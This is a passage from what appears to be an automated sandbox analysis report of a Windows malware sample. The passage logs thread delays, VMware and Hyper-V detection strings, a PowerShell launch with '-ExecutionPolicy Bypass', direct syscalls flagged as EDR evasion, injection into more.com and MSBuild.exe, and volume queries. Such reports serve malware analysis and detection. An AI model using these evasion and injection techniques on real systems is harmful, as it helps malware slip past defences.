Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59713	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 54782	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58527	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 45148	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 44963	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58198	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58076	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 47116	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 57969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 57859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30177	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 57750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 32404	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 51411	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 40091	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 44443	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 39161	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 51250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 31764	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 33487	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 42861	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 48191	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 32466	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 48098	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 32629	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30742	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59571	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 45625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 41738	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 34849	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 39425	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 39296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 55515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 49533	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59856	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: powershell.exe, 00000005.00000002.2330171438.00000000088A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Z
Source: more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: more.com, 00000009.00000002.2391071407.0000000000540000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: svchost.exe, 0000000B.00000002.2917058015.000001EFC745A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: more.com, 0000000F.00000002.2653268479.0000000004BE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: powershell.exe, 00000005.00000002.2330171438.00000000088A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Q
Source: powershell.exe, 00000005.00000002.2329468625.0000000008830000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: en_NECVMWar&Prod_VMware_SATA_CD00#4&
Source: svchost.exe, 0000000B.00000002.2915777465.000001EFC1E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: MSBuild.exe, 0000000C.00000002.2916287723.000000000116F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 12_2_06EC29B8 LdrInitializeThunk,

12_2_06EC29B8

Enables debug privileges

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\svchost.exe

File created: BITA54F.tmp.11.dr

Jump to dropped file

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1"

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtAllocateVirtualMemory: Direct from: 0x2E4	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtClose: Direct from: 0x16F5
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtProtectVirtualMemory: Direct from: 0x18710
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtReadFile: Direct from: 0x2C8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtAllocateVirtualMemory: Direct from: 0x7FFE217260D4
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtCreateFile: Direct from: 0x1F700000080	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtDelayExecution: Direct from: 0x1C2DEFE0B0
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtQuerySystemInformation: Direct from: 0x7FFE21726118
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtProtectVirtualMemory: Direct from: 0x1F715592DB0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtCreateFile: Direct from: 0x1C00000080
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtClose: Direct from: 0x7FFE2172CDF8
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtAllocateVirtualMemory: Direct from: 0x2F8
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtProtectVirtualMemory: Direct from: 0x107EC8A904
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtProtectVirtualMemory: Direct from: 0x1F71851E37E	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtClose: Direct from: 0x161
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtReadFile: Direct from: 0x1EF590
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtClose: Direct from: 0x121
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtReadFile: Direct from: 0x2DC
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtCreateFile: Direct from: 0x2600000080	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtProtectVirtualMemory: Direct from: 0x3
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtAllocateVirtualMemory: Direct from: 0x7FFE21738E14
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtAllocateVirtualMemory: Direct from: 0x40
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtProtectVirtualMemory: Direct from: 0x10693D7827	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtDelayExecution: Direct from: 0x26A28FE170	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtCreateFile: Direct from: 0x18D00000080
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtProtectVirtualMemory: Direct from: 0x18D136F6FD0
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtProtectVirtualMemory: Direct from: 0x18D1853837E

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write
Source: C:\Windows\SysWOW64\more.com	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 68831000	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: B7D008	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 68831000
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 4F6008

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\ExtractedContent.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe "C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Source: dobi.exe, 00000008.00000002.2244640646.000001F7172FF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000008.00000000.2181647992.0000000000341000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2545898832.000000000111C000.00000020.00000001.01000000.00000011.sdmp

Binary or memory string: Shell_TrayWnd

Language, Device and Operating System Detection

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\68037a12 VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
